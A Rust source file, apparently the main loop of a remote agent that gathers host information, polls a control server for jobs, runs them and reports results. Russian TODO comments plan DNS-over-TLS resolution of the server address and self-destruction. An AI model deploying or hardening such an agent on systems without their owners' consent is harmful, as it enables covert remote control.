// TODO: // поддержка питона // резолв адреса управляющего сервера через DoT // кроссплатформенность (реализовать интерфейс для винды и никсов) // проверка обнов // самоуничтожение #[macro_use] extern crate log; extern crate env_logger; use std::env; use u_lib::{ api::ClientHandler, models::{gather}, build_jobs_with_result, UID, JobResult, JobCache }; use tokio::{time::{Duration, sleep}}; #[macro_export] macro_rules! retry_until_ok { ( $body:expr ) => { loop { match $body { Ok(r) => break r, Err(e) => error!("{:?}", e) }; sleep(Duration::from_secs(5)).await; } } } #[tokio::main] async fn main() { //daemonize(); env_logger::init(); let arg_ip = env::args().nth(1); let instance = ClientHandler::new(arg_ip); let cli_info = gather().await; info!("Connecting to the server"); retry_until_ok!(instance.init(&cli_info).await); info!("Instanciated! Running main loop"); loop { let job_requests: Vec = retry_until_ok!(instance.get_agent_jobs(Some(&*UID)).await); if job_requests.len() > 0 { for jr in job_requests.iter() { if !JobCache::contains(&jr.job_id) { info!("Fetching job: {}", &jr.job_id); let fetched_job = retry_until_ok!(instance.get_jobs(Some(&jr.job_id)).await).pop().unwrap(); JobCache::insert(fetched_job); } }; let result = build_jobs_with_result(job_requests) .run_until_complete() .await .into_iter() .map(|r| r.unwrap()) .collect(); retry_until_ok!(instance.report( &result ).await) } sleep(Duration::from_secs(5)).await; } }